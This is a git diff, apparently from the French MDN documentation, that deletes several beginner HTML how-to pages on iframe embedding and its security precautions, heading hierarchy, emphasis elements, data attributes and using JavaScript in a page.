- -

Les {{Glossary("hyperlien", "hyperliens")}} rendent la navigation très simple sur le web, ils peuvent être utilisés de différentes façons :

- - - -

Images et multimédia

- - - -

Script et mise en forme

- -

HTML ne permet que de gérer la structure et le contenu d'un document. Pour régler les aspects de styles, on utilisera du {{glossary("CSS")}}, pour l'aspect interactif et script, on utilisera {{glossary("JavaScript")}}.

- - - -

Intégrer du contenu

- - -
-
- -

Problèmes avancés ou rares

- -

Au-delà des briques de bases qu'on peut assembler dans les exemples précédents, HTML reste très riche et offre des fonctionnalités avancées qui permettent de résoudre de nombreux problèmes complexes. Ces articles décrivent certains de ces problèmes, moins fréquents, et expliquent comment les résoudre :

- -
-
-

Les formulaires

- -

Les formulaires correspondent à une structure HTML complexe qui permet d'envoyer des données d'une page web vers un serveur web. Nous vous invitons à suivre le guide dédié aux formulaires. Vous pouvez commencer ici :

- - - -

Les informations tabulaires

- -

Certaines informations doivent être organisées en tableaux, sur des colonnes et des lignes. Les tableaux sont une des structures HTML les plus complexes et s'avèrent particulièrement difficiles à maîtriser de A à Z :

- - - -

La représentation de données

- - - -

Interactivité

- - -
- -
-

Sémantique avancée pour les éléments textuels

- - - -

Images et multimédia avancés

- - - -

L'internationalisation

- -

HTML n'est pas monolingue. Il existe des outils qui permettent de résoudre les problèmes fréquents qui se posent lorsqu'on internationalise du contenu.

- - -
-
diff --git "a/files/fr/apprendre/html/comment/int\303\251grer_une_page_web_dans_une_autre_page_web/index.html" "b/files/fr/apprendre/html/comment/int\303\251grer_une_page_web_dans_une_autre_page_web/index.html" deleted file mode 100644 index b5d0db7caa..0000000000 --- "a/files/fr/apprendre/html/comment/int\303\251grer_une_page_web_dans_une_autre_page_web/index.html" +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: Intégrer une page web au sein d'une autre page web -slug: Apprendre/HTML/Comment/Intégrer_une_page_web_dans_une_autre_page_web -tags: - - Beginner - - Guide - - HTML - - Learn - - Security -translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies -translation_of_original: Learn/HTML/Howto/Embed_a_webpage_within_another_webpage ---- -
-

Dans cet article, nous verrons comment intégrer une page web dans une autre, tout en minimisant les risques encourus par une telle manipulation.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Connaître les risques encourus lorsqu'on imbrique des pages web entre elles et savoir comment intégrer une page web au sein d'une autre page tout en minimisant ces risques.
- -

L'imbrication des pages, quelques mots d'histoire

- -

Imbriquer des pages entre elles peut sembler étrange voire contre-nature mais cela existe depuis les débuts du Web. Lorsque la bande passante était utilisée par des modems 56k (voire moindre), pour réduire le temps de téléchargement, les pages web étaient fragmentées en morceaux appelés frames, tous intégrées dans un frameset. Malheureusement, les frames ont apporté plus de problèmes que de solutions et le concept de frame/frameset a disparu depuis l'apparition d'{{glossary("AJAX")}}.

- -

Cela dit, il existe des cas où imbriquer des pages web est une solution valide. C'est notamment le cas lorsqu'on veut inclure du contenu généré par un utilisateur ou du contenu tiers (des publicités par exemple). Afin d'améliorer la sécurité lors de telles opérations, il est possible d'intégrer le contenu dans une iframe HTML5. Dans certains cas complexes, cela peut également permettre au navigateur d'être plus rapide car les arbres {{glossary("DOM")}} à traiter peuvent être plus légers.

- -

Malgré tout, l'imbrication de pages web a des conséquences significatives sur la sécurité, la performance et l'accessibilité. Avant de la mettre en œuvre, assurez-vous d'en comprendre les enjeux et les risques afin de servir au mieux vos visiteurs.

- -

Une imbrication simple

- -

La plupart du temps, vous aurez besoin d'une {{htmlelement("iframe")}} pour imbriquer des pages web entre elles. Pour commencer, voici quelques questions :

- - - -

Au final, le code ressemblera à :

- -
<iframe
- src="https://developer.mozilla.org/fr/docs/Web/JavaScript/"
- width="100%" height="500"
- sandbox>
-  <p>
-    <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/">
-      Un lien à utiliser dans les cas où les navigateurs ne supportent
-      pas les <i>iframes</i>.
-    </a>
-  </p>
-</iframe>
-
- -
-

Afin d'améliorer la vitesse de chargement du site principal, il peut être utile de définir l'attribut src de l'iframe grâce à JavaScript, une fois que le contenu principal a été chargé. De cette façon, votre page sera utilisable plus tôt et le temps de chargement « officiel » de votre page sera réduit (ce qui peut être une métrique importante pour le référencement).

-
- -
-

Si vous n'appréciez pas la bordure épaisse autour de l'{{htmlelement("iframe")}}, vous pouvez utiliser {{cssxref('border')}}: none; dans votre code {{Glossary('CSS')}}.

-
- -

Soyez couverts

- -

Dans les paragraphes précédents, nous avions insisté sur les aspects liés à la sécurité. Nous y voilà revenus. Les développeurs de navigateurs et les développeurs web ont appris à leurs dépens que les iframes pouvaient être un vecteur d'attaque visant à modifier une page web ou à faire faire aux visiteurs quelque chose à leur insu.

- -
-

{{interwiki('wikipedia','Clickjacking')}} est l'une des attaques connues utilisant les iframes : un attaquant placera une iframe invisible dans le document pour capturer les interactions entre l'utilisateur et le site web. Cela permet de détourner les utilisateurs ou de subtiliser des données sensibles.

-
- -

Voici quelques mesures à prendre pour mieux protéger votre site, de la plus simple à la plus complexe.

- -

Ne pas intégrer de contenu tiers

- -

Il peut arriver que vous n'ayez pas le choix, en revanche si vous l'avez, ne pas intégrer de contenu tiers pourra certainement vous épargner des maux de tête. Si vous avez développé le contenu intégré, regardez-y à deux fois. Si le contenu provient de l'extérieur, considérez-le comme dangereux.

- -
-

Un autre aspect que celui de la sécurité intervient ici : la propriété intellectuelle. La plupart des contenus, qu'ils soient en ligne ou non, sont placés sous le droit d'auteur, y compris du contenu dont on penserait qu'il est libre de droit (par exemple, la plupart des images sur Wikimedia Commons). N'affichez jamais du contenu sur votre page web si ce n'est pas le vôtre et que vous n'avez pas eu l'accord expresse de l'auteur. Les peines infligées pour infraction au droit d'auteur peuvent être importantes. Là encore, on n'est jamais trop prudent.

- -

Si le contenu est placé sous licence, vous devez respecter les termes de la licence. Par exemple, MDN est sous licence CC-BY-SA. Cela signifie que vous devez créditer les auteurs correctement lorsque vous citez le contenu d'une de ses pages, même si vous y apportez des modifications.

-
- -

Utiliser HTTPS

- -

{{Glossary("HTTPS")}} est la version chiffrée de {{Glossary("HTTP")}}. Vous devriez utiliser HTTPS dès que possible :

- -
    -
  1. HTTPS réduit les chances que le contenu distant soit modifié lors du transport ;
    2. -
  2. HTTPS empêche le contenu intégré d'accéder au contenu du document parent, et vice versa.
    3. -
- -

Les certificats de sécurité ne sont pas donnés et si vous ne pouvez pas vous en procurer un, vous devrez servir votre document parent avec HTTP. Cependant, suite à ce qui a été vu avant, dans aucun cas vous ne devez intégrer du contenu tiers qui soit transporté par HTTP (dans le meilleur des cas, cela se traduira, pour l'utilisateur, par un avertissement dans le navigateur).

- -

Utiliser l'attribut sandbox, toujours

- -

Si vous souhaitez minimiser les risques, ne donnez que les permissions indispensables nécessaires. Bien entendu, cela s'applique également à votre contenu.

- -

Le contenu qui n'est pas mis dans un bac à sable (sandbox) a trop de droits par défaut (utilisations de scripts, de formulaires, de pop-ups, etc). Tant que c'est possible, imposez toutes les restrictions en utilisant {{htmlattrxref('sandbox','iframe')}} sans paramètres.

- -

Si c'est nécessaire, vous pouvez ajouter certaines permissions, une à une, dans la valeur de sandbox. Attention ! Il ne faut jamais ajouter allow-scripts et allow-same-origin en même temps car le contenu placé en bac à sable pourrait alors désactiver les protections.

- -
-

La mise en bac à sable (sandboxing) n'offre aucune protection si l'attaquant peut détourner les visiteurs et leur faire visiter un contenu dangereux directement (qui n'est pas dans une iframe). S'il y a une probabilité qu'un contenu soit dangereux (par exemple : un contenu généré par un utilisateur), faites en sorte que ce contenu soit servir avec une origine différente de celle du site principal.

-
- -

Établir des canaux de communication entre les contenus

- -

Dans certains cas, il peut être utile de faire communiquer une iframe avec le document hôte. Mettre en place de tels canaux de communication est assez simple avec JavaScript. Si l'iframe est correctement mise en bac à sable, ni l'iframe ni le document parent ne pourront accéder au DOM de l'autre (sans bac à sable, ça serait possible et incroyablement dangereux). Pour échanger de tels messages, l'API {{domxref('window.postMessage','postMessage')}} est la seule méthode sécurisée.

- -

Configurer les directives CSP

- -

{{Glossary("CSP")}} fournit un ensemble d'en-têtes HTTP conçus pour améliorer la sécurité d'un document HTML. Lorsqu'on utilise des iframe, il faut s'assurer de configurer son serveur pour envoyer un en-tête X-Frame-Options approprié. Cela peut empêcher d'autres sites web d'intégrer le contenu de votre page dans d'autres pages web (ce qui serait une première étape pour faire du {{interwiki('wikipedia','clickjacking')}} ou effectuer d'autres attaques). Pour plus d'informations sur ce sujet, le billet de Frederik Braun (en anglais) est particulièrement intéressant.

- -

Placez le code HTML dans un bac à sable (sandboxing)

- -

Nous avons déjà évoqué la mise en bac à sable pour les contenus embarqués mais cela peut également concerner votre propre contenu. Il est parfois avantageux d'aller encore plus loin en découpant sa page web en plusieurs iframes, chacune mise dans un bac à sable, en gérant un minimum de privilèges et en les coordinant depuis le document principal (Mike West décrit ce sujet en détails et explique comment la séparation des privilèges permet d'améliorer le niveau de sécurité). Découpage une page de cette façon peut également permettre d'obtenir de meilleures performances car les arbres {{glossary("DOM")}} manipulés sont plus légers.

- -

En utilisant les deux nouveaux attributs d'iframe : {{htmlattrxref('seamless','iframe')}} et {{htmlattrxref('srcdoc','iframe')}}, vous pouvez intégrer des fragments de code HTML dans un document HTML. Pour supporter les navigateurs historiques, il est possible de fournir un contenu alternatif via une URL avec src (cela peut être une URI de données). Voici un exemple simple :

- -
<iframe
- sandbox
- seamless
- src="fallback.html"
- srcdoc="
-   <p>
-     Ce paragraphe est dans un bac à sable.
-   </p>
- ">
-  Du contenu pour les navigateurs qui ne supportent pas
-  les iframes.
-</iframe>
- -
-

Pour l'attribut srcdoc, les quotes doivent être échappées (&quot;) et les ampersandes doivent être doublement échappées (&amp;amp; pour représenter une ampersande simple (&)).

-
- -

En savoir plus

- - diff --git "a/files/fr/apprendre/html/comment/mettre_en_place_une_hi\303\251rarchie_de_titres/index.html" "b/files/fr/apprendre/html/comment/mettre_en_place_une_hi\303\251rarchie_de_titres/index.html" deleted file mode 100644 index 788bcc2a44..0000000000 --- "a/files/fr/apprendre/html/comment/mettre_en_place_une_hi\303\251rarchie_de_titres/index.html" +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Mettre en place une hiérarchie de titres -slug: Apprendre/HTML/Comment/Mettre_en_place_une_hiérarchie_de_titres -tags: - - Beginner - - HTML - - Learn -translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals -translation_of_original: Learn/HTML/Howto/Set_up_a_proper_title_hierarchy ---- -

Dans cet article, nous verrons comment ajouter des titres de différents niveaux à un document web afin que les lecteurs puissent identifier le contenu et trouver les réponses à leurs questions plus efficacement.

- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment utiliser des titres et les hiérarchiser dans un document web.
- -

Pourquoi utiliser des titres ?

- -

Les titres forment le squelette d'un texte sans fournir de longues explications. Prenons un exemple simple : même si ces deux textes sont en anglais, lequel semble le plus clair ?

- -

[Picture comparing a document with headings to a document without headings]

- -

Voilà une bonne partie de la réponse à la question posée avant.

- -

Comme vous pouvez le voir, un lecteur utilisera les titres et leurs niveaux pour déterminer quel contenu est présent et s'il est utile de poursuivre la lecture pour trouver le contenu recherché. Nous passons généralement très peu de temps sur une page web et consulter les titres fait partie du processus que nous déroulons pour déterminer s'il faut rester sur la page ou la quitter. Pour cette raison, il est préférable d'avoir une organisation claire pour les titres afin que le lecteur se repère facilement et continue à consulter la page.

- -

Vous faut-il plus d'arguments ? Savez-vous que certaines personnes ne lisent pas les pages web mais les écoutent grâce à des logiciels appelés {{interwiki('wikipedia',"Lecteur_d'écran","lecteurs d'écrans")}}. Ces logiciels permettent d'accéder rapidement à un contenu textuel donné. Parmi les techniques utilisées par ces logiciels, de nombreuses se basent sur les titres. Si les titres ne sont pas définis, pensez-vous que ces visiteurs prendront la peine d'écouter l'intégralité du document ?

- -

Enfin, le plan d'un document, composé des titres, est souvent utilisé par les moteurs de recherche pour déterminer la pertinence d'un article sur un sujet de recherche donné. Chaque niveau de titre (de 1 à 6) aura un « poids » différent : un titre de niveau 1 sera jugé plus pertinent qu'un titre de niveau 2 et ainsi de suite.

- -

Les titres HTML

- -

HTML fournit des éléments qui permettent de créer des titres dans des documents HTML : ce sont les éléments {{htmlelement('h1')}}, {{htmlelement('h2')}} et jusqu'à {{htmlelement('h6')}}.

- -

Ajouter le titre principal

- -

Au début du document, vous pouvez écrire le titre de plus au niveau entre des balises {{htmlelement('h1')}} :

- -
<h1>Améliorez vos compétences sur le Web !</h1>
- -

Si vous considérez le document comme un arbre, le tronc sera le titre <h1>. Cela implique qu'un document ne doit avoir qu'un seul titre de niveau 1. Continuons les explications car ce sujet revient souvent dans les discussions. D'un point de vue technique, rien ne vous empêche d'utiliser plusieurs titres de niveau 1 dans vos documents. Cependant, d'un point de vue sémantique, cela serait bizarre car un titre de niveau 1 introduit un sujet totalement différent. Si vous jugez nécessaire d'avoir plusieurs titres de niveau 1 dans votre document, cela signifie peut être que le document doit être découpé en plusieurs documents dont chacun aurait un titre de niveau 1 distinct.

- -

Un autre argument en faveur d'un unique titre de niveau 1 serait l'impact sur le référencement. Ce point est plus discutable car les algorithmes des moteurs de recherche sont des secrets bien gardés, cela dit, certaines observations tendent à montrer que les niveaux de titres ont un impact sur le classement d'un site et que plus un niveau de titre est utilisé, plus l'impact sur le classement s'affaiblit.

- -
-

Attention : On voit souvent les titres de niveau 1 utilisés pour mettre en avant le logo d'un site web ou sa marque. Comme ces informations ne sont pas les informations les plus structurantes ni les plus importantes, il est préférable d'éviter ce genre de détournement.

-
- -

Ajouter des sous-titres

- -

Sauf si votre document est très court, vous devrez le découper en sections. Chaque section commence avec un titre {{htmlelement("h2")}} :

- -
...
-<h2>Organisez la structure de votre document avec HTML</h2>
-...
-<h2>Ajustez le style de votre document avec CSS</h2>
-...
- -

Si besoins, vous pouvez découper vos sections en sous-sections et ainsi de suite en utilisant des éléments {{htmlelement("h3")}} jusqu'à {{htmlelement("h6")}}. Cela dit, si vous arrivez à un niveau de découpage avec {{htmlelement("h4")}} voire inférieur, cela peut signifier que votre document est trop long et qu'il serait préférable de le découper pour en faciliter la lecture.

- -

Lorsque vous créer des sections et sous-sections, il y a quelques points à prendre en compte afin d'améliorer l'expérience du lecteur :

- -
-
Gardez une hiérarchie cohérente
-
Autrement dit, cela signifie que vous devriez éviter de sauter des niveaux de titres (par exemple passer directement d'un niveau <h1> ou <h2> à un niveau <h4>). Vos lecteurs, notamment ceux qui utilisent des lecteurs d'écran, pourraient penser que quelque chose manque à votre page.
-
Utilisez les niveaux de titre pour leur sémantique et non pour leur mise en forme
-
Le rôle de HTML est de fournir des informations sémantiques (sur le sens). La mise en forme par défaut d'un élément HTML donné n'a pas de rôle particulier et peut être modifiée avec {{Glossary("CSS")}}. Lorsqu'on s'occupe des titres, on peut utiliser la propriété CSS font-size afin de modifier la taille de la police utilisée.
-
N'utilisez pas les niveaux de titres pour représenter des sous-titres ou des slogans
-
Une des notions qui manque à HTML est le fait de ne pas avoir d'éléments particulier pour représenter un sous-titre ou un slogan. Certains développeurs utilisent les éléments de titre à cet effet mais cela entraîne des cassures dans la hiérarchie des titres et pose des problèmes d'accessibilité. Bien qu'il y ait quelques tentatives pour résoudre ce problème avec l'élément {{HTMLElement('hgroup')}}, il est préférable d'utiliser un élément {{htmlelement("p")}} ou {{htmlelement("span")}} avec un attribut {{htmlattrxref('class')}} donné.
-
- -

Gérer des niveaux de titre dynamiques

- -

L'élément {{htmlelement("section")}} est apparu avec HTML5 pour marquer les différentes sections d'un document HTML, chacune de ces sections étant a priori suivie d'un titre approprié.

- -

Supposons que votre plan évolue (ce qui peut arriver si le HTML est généré de façon dynamique par le serveur) et que vous décidiez que certains <h3> devraient en fait être des <h2>. De même, si vous compilez plusieurs pages web en un e-book, cela peut être ennuyant que d'avoir à revoir tous les différents titres.

- -

Si vos <section> sont imbriquées de façon logique, HTML5 indique que chaque section peut commencer avec <h1> et que ceux-ci continueront à former un plan valide. L'idée est plutôt bonne mais souffre de quelques inconvénients : le code est moins lisible et il n'est plus possible d'appliquer une mise en forme différente pour les <h1> si ceux-ci n'ont pas la même importance.

- -

Pour plus de détails, lire l'article Sectionnement et plan d'un document HTML5.

- -

En savoir plus

- - diff --git a/files/fr/apprendre/html/comment/mettre_l_accent_sur_un_contenu_ou_indiquer_qu_un_texte_est_important/index.html b/files/fr/apprendre/html/comment/mettre_l_accent_sur_un_contenu_ou_indiquer_qu_un_texte_est_important/index.html deleted file mode 100644 index 668ad5c084..0000000000 --- a/files/fr/apprendre/html/comment/mettre_l_accent_sur_un_contenu_ou_indiquer_qu_un_texte_est_important/index.html +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: Mettre l'accent sur un contenu ou indiquer qu'un texte est important -slug: >- - Apprendre/HTML/Comment/Mettre_l_accent_sur_un_contenu_ou_indiquer_qu_un_texte_est_important -tags: - - Beginner - - Composing - - Guide - - HTML - - Learn - - OpenPractices -translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance -translation_of_original: Learn/HTML/Howto/Emphasize_content_or_indicate_that_text_is_important ---- -

Dans cet article, nous verrons comment baliser des passages caractéristiques, selon leur importance, leur pertinence ou un changement de ton.

- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML ismple.
Objectifs :Apprendre comment marquer des passages de texte contenus dans votre document qui seraient spéciaux ou particulièrement importants pour les lecteurs.
- -

Les dialogues ne se résument pas uniquement à des séries de mots : le ton importe également. Dans les œuvres couchées sur le papier, ce sont la ponctuation et la mise en forme qui permettent de retranscrire ces informations. Quelle que soit l'outil utilisé, le but est d'ajouter des informations implicites.

- -

Voici un exemple simple :

- -
-

Je suis en retard.

- -

Je suis en retard ?

-
- -

Dans cet exemple, la première phrase exprime une connaissance (je sais que je suis en retard) alors que la seconde évoque un doute ou pose une question. On remarquera que l'ordre des mots n'a pas changé, seule la ponctuation change cette nuance. À l'oral, cela se serait traduit par un changement de ton.

- -

La mise en forme permet également d'ajouter des nuances. Voici un deuxième exemple :

- -
-

Je suis sympa, même si parfois je suis méchant.

-
- -

Cette phrase est plutôt neutre. Ajoutons quelque chose pour changer ça :

- -
-

Je suis sympa, même si parfois je suis méchant.

- -

Je suis sympa, même si parfois je suis méchant.

-
- -

Remarquez-vous le changement que cela apporte ? L'italique accentue l'adjectif « sympa » ou « méchant ». En imprimerie, l'accentuation est portée par la mise en forme (ici la mise en italique). Il faudrait plus de contexte pour saisir tout le sens de cette phrase mais la mise en forme ajoute clairement une intonation.

- -

Cet article ne porte pas sur la mise en forme du document. Ce n'est pas le rôle de HTML que de mettre en forme un document (en revanche, la tâche est toute indiquée pour {{Glossary('CSS')}} qui vous aidera à contrôler l'aspect visuel de votre page web). Ici, nous verrons comment ajouter le sens porté par la mise en forme. Or, ajouter du sens est le rôle de HTML. Une fois que le sens est présent dans le document, alors, on pourra le mettre en forme grâce à CSS.

- -

Ici, nous évoquerons trois nuances qui peuvent être exprimées par HTML : l'emphase, l'importance et la pertinence.

- -

L'emphase

- -

L'élément {{htmlelement('em')}} (<em> pour emphase) permet d'exprimer une accentuation particulière sur un ou plusieurs mots (qui se serait traduite à l'oral par un changement de ton).

- -
Allons-nous <em>au cinéma</em> ce soir ?
-Allons-nous au cinéma <em>ce soir</em> ?
-
- -

Par défaut, un navigateur graphique affiche le texte contenu dans un élément <em> en italique mais cette mise en forme peut être changée avec CSS. Les lecteurs d'écran utiliseront un ton différent pour lire ce texte. Pour résumer, <em> signifie emphase et pas italique.

- -

L'importance

- -

L'élément {{htmlelement("strong")}} permet d'indiquer une importance forte (c'est en quelque sorte une emphase renforcée).

- -
<p>
-  <strong>Ne pas</strong> toucher ces produits chimiques.
-  Ces produits chimiques sont <strong>corrosifs !</strong>
-</p>
-
- -

Ici aussi, par défaut les navigateurs graphiques afficheront le texte contenu dans <strong> en gras. Mais là encore, <strong> signifie « très important » et pas « gras » ! La mise en forme pourra être adaptée librement avec CSS. De même, un lecteur d'écran lira le texte différemment car celui-ci est important (et non parce qu'il est affiché en gras).

- -

La pertinence

- -

<strong> permet d'indiquer du texte qui est important pour le contexte courant. L'élément {{htmlelement("mark")}}, en revanche, signifie que le texte est pertinent par rapport au contenu destiné au lecteur. Un exemple courant est l'utilisation des résultats liés à une recherche :

- -
<p>
-  « ce » apparaît 3 fois dans le texte :
-  <mark>Ce</mark> chat a tué <mark>ce</mark>
-  rat et <mark>ce</mark> moineau.
-</p>
-
- -

Là encore, la mise en forme appliquée peut être modifiée. Par défaut, le texte sera affiché sur un fond jaune :

- -

{{EmbedLiveSample('La_pertinence', '100%', 64)}}

- -
-

Attention lorsqu'on utilise <mark> pour marquer des résultats liés à une recherche. Si la recherche renvoie des correspondances partielles, cela pourrait casser les éléments <mark>. Par exemple : Le chat a couru après <mark>ce</mark>s oiseaux. Cela entraînera des problèmes d'accessibilité car les lecteurs d'écran ne sauront pas traiter (ou traiteront mal) les mots ainsi découpés.

-
- -

Les éléments associés à la sémantique

- -

Si vous souhaitez afficher un texte avec une mise en forme particulière, pensez d'abord au sens que vous souhaitez communiquer. Si le sens peut être transmis par {{htmlelement('em')}}, {{htmlelement('strong')}} ou {{htmlelement("mark")}}, utilisez ces éléments (plutôt que CSS seul, ce qui serait une mauvaise pratique).

- -

Il existe d'autres cas pour lesquels on affiche habituellement le texte en italique ou en gras et qui correspondent à une sémantique particulière qui peut être transmise grâce à des éléments HTML :

- - - -

HTML ne permet pas de couvrir tous les cas de figures (sinon utiliser HTML correctement serait un calvaire de perfectionnisme). En règle générale, si vous souhaitez afficher du texte de façon différente et qu'il existe un élément HTML pour transmettre ce sens : utilisez-le, sinon vous pouvez utiliser l'élément neutre {{htmlelement("span")}} en spécifiant sa sémantique avec l'attribut {{htmlattrxref("class")}} et en le mettant en forme grâce à CSS.

- -

Les éléments que nous avons évoqués jusqu'à présent (à l'exception de <span>) ont tous une sémantique claire. En revanche, cela peut être plus ambigu avec les éléments {{htmlelement("b")}}, {{htmlelement("i")}} et {{htmlelement("u")}}. Ces éléments HTML permettent d'écrire du texte en gras, italique ou de le souligner. Ils sont apparus lorsque CSS n'existait pas ou avant qu'il ne soit supporté largement. Avec HTML5, ces éléments ont vu leur sémantique précisée.

- -

Voici la règle à respecter : s'il n'existe pas d'élément approprié permettant de retranscrire précisément le sens d'un texte qui serait généralement affiché en gras, italique ou souligné, alors on pourra utiliser <b>, <i> ou <u> à la place de <span>. Attention toutefois à ne pas oublier l'accessibilité : la mise en italique n'est pas particulièrement utile pour les personnes utilisant des lecteurs d'écran ou pour les personnes qui utilisent un alphabet non latin.

- - - -
-

Léger avertissement à propos du soulignement : les visiteurs associent fortement le soulignement avec des hyperliens. De fait, on ne soulignera généralement que les liens d'une page. <u> ne doit être utilisé que lorsque la sémantique qu'il porte est sans équivoque. Dans ces cas, CSS pourra être utilisé pour définir un motif de soulignement différent, plus approprié. L'exemple qui suit illustre comment obtenir ce résultat.

-
- -
<!-- Des noms scientifiques -->
-<p>
-  Le colibri à gorge rubis (<i>Archilocus colubris</i>)
-  est l'espèce de colibri la plus répandue en Amérique
-  du Nord orientale.
-</p>
-
-<!-- Des termes étrangers -->
-<p>
-  Le menu comportait de nombreux termes exotiques comme
-  <i lang="uk-latn">vatrushka</i>, <i lang="id">nasi goreng</i>
-  et <i lang="en">pancakes</i>.
-</p>
-
-<!-- Une faute d'orthographe -->
-<p>
-  Un jour, j'écrirai <u class="erreur-orthographe">mieu</u>.
-</p>
-
-<!-- Des mots-clés mis en avant dans un mode d'emploi -->
-<ol>
-  <li>
-    <b>Tranchez</b> le pain en deux tranches.
-  </li>
-  <li>
-    <b>Insérez</b> une tranche de tomate et
-    une feuille de salade entre les tranches.
-  </li>
-</ol>
-
- -
-
/* Voici des mises en forme alternatives
-permettant au lecteur de repérer la différence */
-
-b {
-  font-weight:  normal;
-  font-variant: small-caps;
-}
-
-.erreur-orthographe {
-  text-decoration: underline red wavy;
-}
-
-
- -

{{EmbedLiveSample('Les_éléments_associés_à_la_sémantique', '100%',192) }}

- -

En savoir plus

- - diff --git a/files/fr/apprendre/html/comment/utiliser_attributs_donnes/index.html b/files/fr/apprendre/html/comment/utiliser_attributs_donnes/index.html deleted file mode 100644 index d67fd6a93d..0000000000 --- a/files/fr/apprendre/html/comment/utiliser_attributs_donnes/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Utiliser les attributs de données -slug: Apprendre/HTML/Comment/Utiliser_attributs_donnes -tags: - - Guide - - HTML - - Web -translation_of: Learn/HTML/Howto/Use_data_attributes ---- -
{{LearnSidebar}}
- -

HTML5 est conçu avec le souci de l'extensibilité pour les données qui doivent être associées avec un élément particulier sans qu'on leur donne une signification spécifique. Les attributs data-* nous permettent de stocker des informations supplémentaires sur les éléments sémantiques standard sans avoir recours à des attributs non-standard ni à des propriétés supplémentaires du DOM, ni à {{domxref("Node.setUserData()")}}.

- -

Syntaxe HTML

- -

La syntaxe est simple. Tout attribut d'un élément dont le nom commence par data- est un attribut de données (data attribute). Si par exemple vous avez un article pour lequel vous souhaitez stocker des informations supplémentaires et qui n'ont pas de représentation visuelle, il vous suffit d'utiliser des attributs de données pour cela :

- -
<article
-  id="voitureelectrique"
-  data-columns="3"
-  data-index-number="12314"
-  data-parent="voitures">
-...
-</article>
- -

Accéder via du code JavaScript

- -

Lire les valeurs de ces attributs avec du JavaScript est également très simple. Vous pourriez utiliser {{domxref("Element.getAttribute", "getAttribute()")}} avec leur nom HTML complet pour les lire, mais le standard les définit d'une manière plus simple : un {{domxref("DOMStringMap")}} peut être lu via une propriété {{domxref("HTMLElement.dataset", "dataset")}}.

- -

Pour obtenir un attribut data avec l'objet dataset, repérez la propriété avec la partie du nom de l'attribut qui suit le préfixe data- (notez que les tirets sont convertis en camelCase).

- -
var article = document.getElementById('voitureelectrique');
-
-article.dataset.columns // "3"
-article.dataset.indexNumber // "12314"
-article.dataset.parent // "voitures"
- -

Chaque propriété est une chaîne et peut être en lecture et écriture. Dans le cas ci-dessus passer le paramètre article.dataset.columns = 5 mettrait l'attribut à "5".

- -

Accéder via du code CSS

- -

Remarquez que, dans la mesure où les attributs data sont de simples attributs HTML, vous pouvez même y accéder par les CSS. Par exemple, pour afficher les données associées à l'article, vous pouvez utiliser des contenus générés en CSS avec la fonction {{cssxref("attr")}} :

- -
article::before {
-  content: attr(data-parent);
-}
- -

Vous pouvez également utiliser les sélecteurs d'attributs en CSS pour modifier les styles en fonction des données :

- -
article[data-columns='3'] {
-  width: 400px;
-}
-article[data-columns='4'] {
-  width: 600px;
-}
- -

Tout cela est visible dans l'exemple JSBin. 

- -

Les attributs data peuvent aussi être stockés pour inclure des informations qui changent constamment, telles que les cores dans un jeu. L'utilisation des sélecteurs CSS et de l'accès par le JavaScript permettent ici de créer des effets sympas sans avoir à écrire vos propres routines d'affichage. Regardez cet exemple de capture vidéo d'écran où sont utilisés les contenus générés et les transitions CSS (exemple JSBin).

- -

Comme les valeurs des données sont des chaînes, toutes les valeurs doivent être entre guillemets " " sinon le formatage de style sera inopérant.

- -

Problèmes

- -

Ne stockez pas de contenu qui devrait être visible dans les attributs data, car les technologies d'assistance pourraient ne pas y avoir accès. De plus, les moteurs de recherche pourraient ne pas indexer les valeurs des attributs de données. 

- -

Les principaux problèmes à prendre en considération sont le support d'Internet Explorer et la performance. Internet Explorer 11+ prend en charge le standard, mais toutes les versions antérieures  ne prennent pas en charge le dataset. Pour prendre en charge IE 10 et versions inférieures vous avez besoin d'accéder aux attributs data avec {{domxref("Element.getAttribute", "getAttribute()")}}. De plus, la la performance de lecture des attributs de données, au stockage dans des structures de données JavaScript est assez faible. Utiliser un dataset est même plus lent que lire les données avec getAttribute().

- -

Mais ceci dit, pour les métadonnées personnalisées associées aux éléments, c'est une excellente solution.

- -

Avec Firefox 49.0.2 (et peut-être dans les versions antérieures ou ultérieures), les attributs data qui dépassent 1022 attributs ne seront pas lisibles par Javascript (EcmaScript 4).

- -

Voir aussi

- - diff --git a/files/fr/apprendre/html/comment/utiliser_javascript_au_sein_d_une_page_web/index.html b/files/fr/apprendre/html/comment/utiliser_javascript_au_sein_d_une_page_web/index.html deleted file mode 100644 index 7db20d6d76..0000000000 --- a/files/fr/apprendre/html/comment/utiliser_javascript_au_sein_d_une_page_web/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Utiliser JavaScript au sein d'une page web -slug: Apprendre/HTML/Comment/Utiliser_JavaScript_au_sein_d_une_page_web -tags: - - Beginner - - HTML - - JavaScript - - OpenPractices -translation_of: Learn/HTML/Howto/Use_JavaScript_within_a_webpage ---- -
-

Dans cet article, nous verrons comment améliorer les pages web en ajoutant du code JavaScript dans des documents HTML.

-
- - - - - - - - - - - - -
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Savoir comment utiliser du code JavaScript dans un fichier HTML et apprendre les bonnes pratiques afin que le code JavaScript utilisé soit accessible.
- -

À propos de JavaScript

- -

{{Glossary("JavaScript")}} est un langage de programmation principalement utilisé côté client et qui peut également être utilisé côté serveur. Il permet entre autres de rendre les pages web interactives. JavaScript offre une myriade de possibilités.

- -
-

Dans cet article, nous verrons le code HTML nécessaire pour utiliser du code JavaScript. Si vous souhaitez apprendre JavaScript, vous pouvez démarrer par notre article sur les bases de JavaScript. Si vous connaissez déjà JavaScript en partie ou que vous connaissez un autre langage de programmation, vous pouvez consulter le Guide JavaScript.

-
- -

Comment déclencher le code JavaScript depuis le document HTML

- -

